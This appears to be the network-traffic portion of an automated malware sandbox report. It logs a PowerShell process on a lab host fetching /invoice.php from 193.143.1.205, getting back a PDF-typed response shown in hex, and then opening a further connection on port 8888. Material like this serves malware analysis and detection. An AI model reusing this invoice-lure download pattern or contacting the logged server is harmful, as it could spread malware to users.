Jan 10, 2025 22:13:33.908071995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908086061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908097982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908111095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908111095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908123970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908128023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908138990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908144951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908152103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908159018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908170938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908183098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908196926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908210039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908221960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908225060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908225060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908233881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908246040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908260107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908271074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908282995 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908282995 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908361912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908375025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908386946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908401012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908406019 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908406019 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908415079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908427000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908438921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908448935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908453941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908453941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908464909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908477068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908489943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908509970 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908509970 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908513069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908534050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908545971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908557892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908559084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908571959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908575058 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908587933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908610106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908623934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908627987 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908627987 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908637047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908649921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908663034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908670902 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908674955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908687115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908700943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908704996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908704996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908715010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908727884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908740044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908744097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908756971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908767939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908782959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908797979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908806086 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908806086 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908812046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908824921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908832073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908843040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908854961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908855915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.908854961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908900976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.908900976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909147978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909249067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909260988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909274101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909286022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909297943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909308910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909310102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909310102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909331083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909343958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909356117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909363985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909363985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909368038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909382105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909394979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909410000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909418106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909418106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909425020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909496069 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909554958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909634113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909642935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909656048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909668922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909679890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909691095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909704924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909709930 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909718990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909748077 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909779072 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909816027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909836054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909847975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909859896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909861088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909882069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909892082 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909895897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909909010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909923077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909936905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909945011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909945011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909949064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909961939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909974098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909990072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.909992933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.909992933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910005093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910027981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910028934 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910046101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910059929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910073042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910084963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910094023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910094023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910098076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910110950 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910123110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910135984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910149097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910161018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910171032 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910171986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910173893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910187960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910192013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910202026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910216093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910234928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910234928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910262108 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910526991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910582066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910599947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910623074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910649061 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910661936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910669088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910681963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910693884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910715103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910727978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910739899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910753965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910764933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910764933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910764933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910779953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910790920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910803080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.910813093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910813093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.910890102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911009073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911021948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911035061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911046982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911062002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911101103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911149979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911161900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911175013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911187887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911199093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911211967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911215067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911215067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911225080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911237955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911250114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911262989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911264896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911264896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911277056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911290884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911323071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911329031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911329031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911385059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911499977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911511898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911525011 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911535978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911547899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911560059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911571980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911582947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911591053 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911592007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911602974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911613941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911627054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911628962 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911642075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911653996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911659956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911659956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911667109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911679029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911690950 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911703110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911714077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911719084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911727905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911741972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.911767960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911767960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911797047 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.911910057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912040949 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912053108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912065983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912085056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912097931 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912106037 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.912110090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912123919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912132025 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.912136078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912149906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912152052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.912161112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912174940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912187099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912199974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912214041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912214994 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.912214994 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.912247896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.912261963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.912316084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:34.262902975 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:34.665990114 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:35.399317980 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:35.404354095 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:35.404622078 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:35.404622078 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:35.409457922 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:36.230597973 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:36.277024031 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:36.547514915 CET	49708	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:13:43.969638109 CET	54946	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:13:43.969638109 CET	192.168.2.9	1.1.1.1	0x8715	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:13:43.977804899 CET	1.1.1.1	192.168.2.9	0x8715	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:13:44.657239914 CET	1.1.1.1	192.168.2.9	0x33f4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:13:44.657239914 CET	1.1.1.1	192.168.2.9	0x33f4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	193.143.1.205	80	7588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:13:32.201123953 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:13:33.016769886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:13:33.016839027 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:13:33.016851902 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
